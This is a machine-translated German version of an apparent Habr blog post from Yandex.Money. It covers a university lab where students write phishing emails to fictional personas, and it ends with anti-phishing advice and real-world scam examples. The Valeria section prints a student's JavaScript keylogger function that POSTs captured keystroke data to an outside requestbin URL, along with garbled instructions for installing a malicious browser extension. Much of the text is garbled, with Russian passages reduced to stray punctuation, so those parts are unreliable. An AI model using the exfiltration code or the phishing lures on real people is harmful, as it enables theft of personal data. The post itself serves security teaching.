Hallo Habr! Ich bin der Herausgeber dieses Blogs und unterrichte manchmal auch Virologie an der Universität.

Ich beschloss, den Bildungsprozess zu diversifizieren, und stellte verschiedene Aufgaben für Fünfjahresstudenten vor - so dass Übung und Relevanz und kein Abschreiben von Code aus dem Jahr 2003. Eine der Aufgaben besteht darin, Phishing-Briefe zu erfinden und an fiktive Personen zu senden, die in der Realität existieren könnten. Wenn Sie nicht wissen, wie man angreift, wissen Sie schließlich nicht, wie Sie sich verteidigen sollen, oder?

Ich werde das Beste zeigen, was passiert ist: welche Briefe die Betrüger im Namen von Yandex senden konnten. Geld, wie die Schüler vorgaben, Dienstleistungen zu sein, und zum Nachtisch - die Methoden, die die Betrüger derzeit anwenden (zum Beispiel mehrere Briefe, die unsere aufmerksamen Benutzer erhalten haben).

Warnung

Beschäftige dich nicht mit Phishing. Formal handelt es sich um Betrug, der gemäß Artikel 159.6 des Strafgesetzbuchs der Russischen Föderation verfolgt wird. Die Laborarbeiten wurden unter kontrollierten Bedingungen durchgeführt, Briefe wurden an vorbereitete Kartons geschickt, auf die nur der Verfasser der Post zugreifen kann. Die Schüler werden vor einer möglichen Haftung für Phishing-Mails aus dem Labor gewarnt.

Alle Charaktere sind fiktiv, alle Zufälle mit realen Menschen und Organisationen sind zufällig. Alle Logos, Marken und Namen gehören ihren jeweiligen Eigentümern.

Ich habe bereits vor etwas mehr als einem Jahr eine ähnliche Geschichte erzählt. Seitdem wurde ich Herausgeber des Habrablog. Bei der Arbeit kommuniziere ich viel mit verschiedenen Abteilungen, einschließlich der Abteilung für Informationssicherheit. Das gesamte Unternehmen, was in Bezug auf Geld logisch ist, geht entsprechend an die Sicherheit heran - der Sicherheitsdienst (SB) schützt alles und jeden im Inneren und verhindert auch, dass die Betrüger versuchen, im Namen des Dienstes Verbrechen zu begehen.

Und da ich mich entschied, den Schülern eine solche Aufgabe zu geben, fragte ich mich, ob sie den fiktiven Figuren das fiktive Geld vergleichsweise ehrlich wegnehmen könnten. Motivation ist hier wichtig - all dies geschieht nur zu Bildungszwecken, damit zukünftige Sicherheitsspezialisten verstehen, welche Bedrohungen bestehen und wie sie sich vor ihnen schützen können.

Dramaturgie

Alle Menschen sind unterschiedlich - mit unterschiedlichen Erfahrungen, IT-Kenntnissen und unterschiedlichen Überzeugungen in Bezug auf Menschen. Deshalb habe ich drei Charaktere entwickelt und die Schüler gebeten, einen Ansatz für sie zu finden. Die Einschränkungen waren rein technischer Natur - ein Brief sollte an die angegebene Mailbox gesendet werden, es sollte kein Spam sein und es sollte eine Möglichkeit geben, persönliche Daten zu sammeln. Welche liegen im Ermessen des Schülers.

Die volle Laboraufgabe liegt unter dem Spoiler.

      .  1.        .  napechata.li/form    ,    . 2. ,          . 3.       ,   .   ,  ,      ,    . 4.   —        (, , ,  ) ,      .       . 5.  ,        ,    .  .  (,   , )       . 6. ,   ,    . 7. ,      ,    .    : 1.     2.  ,        3.        4.        5.  ,     

Valeria Valeryevna Golova, 31 Jahre, Ust-Kamenogorsk

Rechtsanwalt in der privaten Anwaltskanzlei Soft Sign. Mail - odnagolowa@yandex.ru.

Valeria ist von Natur aus ein Humanist, aber im Herzen ein Technikfreak. Sie absolvierte das Ust-Kamenogorsk College für Informationstechnologie und arbeitet als Anwältin für Systemadministratoren in einer privaten Firma mit vier Mitarbeitern.

Valeria speichert gerne Lampenbilder in sozialen Netzwerken, hat einen Blog im LiveJournal, in dem sie ihre Träume teilt, und sonntags geht sie zu kostenlosen Konzerten, die sie in der Gruppe „Kostenlose Konzerte von Ust-Kamenogorsk“ findet.

Khusanboy Erdashevich Sotvondiev, 19 Jahre, St. Petersburg

Taxifahrer in der Taxiflotte "Timoshinsky". Mail - husanboy7902301@mail.ru

Husanboy kam aus Urgench nach St. Petersburg, wo er drei Jahre als Taxifahrer arbeitete. Jetzt macht er dasselbe in St. Petersburg auf dem alten Kia Rio, den er von einem Freund geerbt hat. Früher hat Husanboy Rap-Tracks aufgenommen und ohne Pseudonym veröffentlicht, aber jetzt folgt er nur noch neuen Künstlern, sodass er auf allen beliebten thematischen Websites registriert ist.

Albert Mikhailovich Alberlive, 54 Jahre, Chabarowsk

Selbständig. Mail - al.ber.live@outlook.com

Albert Mikhailovich hat viel in seinem Leben gesehen - er schickte Briefe an Mavrodi, beschuldigte Kashpirovsky mit Wasser und war ein Tiens-Platin-Agent mit einem Netzwerk von 22 Personen. Jetzt wartet er wieder auf den Ruhestand und um keine vergebliche Zeit zu verschwenden, beschloss er, in Bitcoins und Cashbury zu investieren. Albert Mikhailovich hat Profile in allen sozialen Netzwerken, elektronische Geldbörsen in allen russischsprachigen Diensten und ein unglaubliches Vertrauen in Menschen und Technologie.

Gesendet

In diesem Jahr hatten die Schüler weniger Zeit - daher kamen die ersten Briefe ziemlich schnell an. Trotzdem spiegeln die meisten von ihnen echte Phishing-Muster wider, die die Schüler im Internet gefunden und versucht haben, auf den Zustand des Problems anzuwenden.

Albert Alberlive

Ehrlich gesagt hat mich dieser Charakter am meisten fasziniert - was wird passieren, welche Briefe und von welchen Diensten werden fliegen? Finanzpyramiden, elektronische Geldbörsen, Kryptowährungen? Die Schüler haben nicht enttäuscht - im Posteingang befanden sich Briefe zu all diesen Themen der gängigsten Zahlungssysteme. Ich möchte alles auf den Punkt bringen, aber das ist leider unmöglich.

Phishing im Auftrag von Yandex.Money

Zunächst interessierte ich mich für Briefe im Namen von Yandex.Money.

Alle Studenten, die im Namen des Dienstes Briefe verschickten, verfolgten einen ähnlichen Ansatz: Sie kündigten ein neues Produkt an, das Sie vor allen Problemen bewahrt und Ihnen hilft, Geld zu verdienen. Wie ich später zeigen werde, entspricht dies nicht ganz dem tatsächlichen Verhalten von Betrügern.

Ich möchte Sie daran erinnern, dass alle offiziellen Yandex.Money-Anwendungen in einem speziellen Bereich auf der Yandex-Website gespeichert sind und die Ankündigungen neuer Artikel im Pressedienst verfügbar sind. Überprüfen Sie dort, ob Sie plötzlich eine ungewöhnliche oder schockierende Ankündigung über Yandex.Money in einer unverständlichen Quelle sehen.

Nun wollen wir sehen, was mit diesen Buchstaben nicht stimmt. Speziell dafür habe ich Natasha, die leitende Redakteurin von Money, im Korridor erwischt und Screenshots gezeigt. Natasha weiß alles darüber, wie sie schreiben und nicht in Geld schreiben, was ich ausgenutzt habe.

Die Frage war einfach: Wie kann man verstehen, dass dies nicht von uns geschrieben wurde? Ich sende das Mikrofon:

Yandex.Crypto Brieftasche

Top-Level: Es ist nicht klar, warum der Benutzer überhaupt eine E-Mail zu diesem Thema erhält. Ein Brief darüber, was Kryptowährungen im Allgemeinen gut können, aber wie sie für mich nützlich sein können, ist unklar.

Laut Text: Ausrufezeichen (wir haben fast keine), Büroangestellte (Gewährleistung der Transaktionssicherheit -) + Nachlässigkeit bei der Typografie.

Yandex-Rettung

- Name + Post im Umlauf.

- Unsicherheit: Was bedeutet "kompromittiert"? Was habe ich damit zu tun?

- Wieder die Kanzlei.

- Was ist eine "bestätigte Genesung", würde ich gerne wissen.

- Es gibt keine Verbindungsüberschrift + Schaltfläche (wir versuchen normalerweise, diese Kombination zu einer allgemeinen Vorstellung von der Essenz zu machen).

Technischer Support Yandex.Money

Hier ist alles schlecht: von Kleinigkeiten wie nachlässigem Design bis zur Hauptnachricht (warum sonst das Konto nicht wiederhergestellt werden kann - es ist Erpressung Erpressung).

Im Allgemeinen, fasste Natasha zusammen, schreiben wir nicht so. Kommen wir zu anderen bemerkenswerten Beispielen.

Valeria Golova

 > ,  .       "Your Favourite Song".    ,        -!        ,      ,      !             .         ,            ,  ,          ,        -   -.       -          ,   .      . > 1.    https://goo-gl.ru/OK   zip-. 2.  zip-    . 3.       . 4.    "   ". 5.   ,           keylogExten. 6.                . 7.   ! >  ,  "Your Favourite Song". 

 function sendSymOnServer(page, data) { var xhr = new XMLHttpRequest(); var body = 'page = ' + encodeURIComponent(page) + '&data = ' + encodeURIComponent(data); xhr.open("POST", 'https://requestb.in/1fa7izj1', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(body); } 

 > ,  . >   ,   . >       .     .    ,     - ?                .        .      .      ""?         . >  , >  . 

Antiphishing

Übrigens hat Yandex nach den ersten Briefen einen Brief geschickt, wie man gute Briefe von Briefen von Betrügern unterscheidet. Mahnwache.

Husanboy Sotvondiev

Die Schüler verstanden den komischen Geist der Aufgabe gut und schickten Dinge, die mir eine Reihe von Emotionen verursachten, von nervösem Lachen bis zu Verwirrung. Im Allgemeinen scheint es mir, dass sie gute Arbeit geleistet haben. Die Charaktere erhielten Briefe von Rap-Sites, Geldstrafen von Portalen des öffentlichen Dienstes, Briefe von Taxiunternehmen (darunter gab es nur einen mit dem Namen "Timoshinsky") und nach der Tradition mehrere persönliche Briefe.

 >  ! >   .    - .        ,     .                6 .                .               .      ,        /       ,   /  ,        ,      . 

Wie Phishing in freier Wildbahn aussieht

Alle obigen Beispiele sind die Fantasie meiner Schüler und beziehen sich nur insofern auf die Realität, als sie alle geschrieben und gesendet werden können. Es ist ganz einfach, sich zu schützen - überprüfen Sie einfach die Links sorgfältig, laden Sie keine fremden Dateien aus Anhängen herunter und achten Sie auf Tippfehler in den Texten. Und wenn Sie auf unbekannten Websites keine persönlichen Daten eingeben, können Sie Ihr ganzes Leben lang leben und nicht herausfinden, wie es ist, wenn Sie Geld stehlen oder einen Mikrokredit aufnehmen, um Ihren Reisepass zu scannen.

Ich habe Kollegen vom Sicherheitsrat gebeten, echte Phishing-E-Mails zu zeigen, die gerade in freier Wildbahn leben. Dies sind nur einige Beispiele, die zeigen, dass Betrüger sehr unterschiedliche Tricks anwenden können, um an Ihr Geld zu kommen. In der Tat gibt es viele mehr, so dass Sie auf alles vorbereitet sein müssen.

Ihre Brieftasche wird aufgefüllt

Der Benutzer erhält eine Nachricht, dass seine Brieftasche aufgefüllt ist. Im Kommentar zur Zahlung gibt es einen Werbe-Eyeliner und einen Link zu einer Website, auf der Sie angeblich tausend Dollar pro Tag erhalten können, ohne etwas dafür zu tun.

Es stellt sich heraus, dass Betrüger solche Briefe nicht nur fälschen können. Tatsache ist, dass ein gefälschter Brief mit hoher Wahrscheinlichkeit den Spamfilter in der Mail nicht durchläuft. Der automatische Brief des Dienstes, der nach einer echten Mikrozahlung auf das Konto erstellt wurde, kann jedoch erreicht werden.

Der Link aus dem Kommentar führt normalerweise zu einer Seite, auf der versucht wird, der Bevölkerung relativ ehrlich Geld abzunehmen.

Ihre IP-Adresse wurde aufgelistet

Ein Brief angeblich von Yandex.Money Tech Support. Sie wissen es bereits von der Gegenwart zu unterscheiden - dank Natasha.

Was passiert sonst noch?

Beim Phishing geht es natürlich nicht nur um Buchstaben.

Ein Beispiel für etwas anderes als den Blog-Leser hat uns geschickt. Stellen Sie sich vor - dies ist eine betrügerische Instagram-Werbung, die zu einer betrügerischen Öffentlichkeit auf VK führt, die zu einem betrügerischen Landeplatz mit betrügerischen Umfragen führt, für die sie angeblich betrügerisches Geld bezahlen.

Natürlich zahlen sie nicht wirklich.

Dies ist eine gefälschte Anzeige.

Diese Kette hat sogar die Bedingung "Sende einen Link an 20 Freunde auf WhatsApp, um fortzufahren." Aber wenn viel Geld auftaucht, ist es sehr schwierig, sich zurückzuhalten.

- , « ?» ( , ) :

« 80000 , — . 150 ».

, , .

?

:

1. , .
2. , — , , .
3. — , , — . , .
4. , - , .
5. .
6. . , .
7. , . , - .
8. . .

, , , . , . .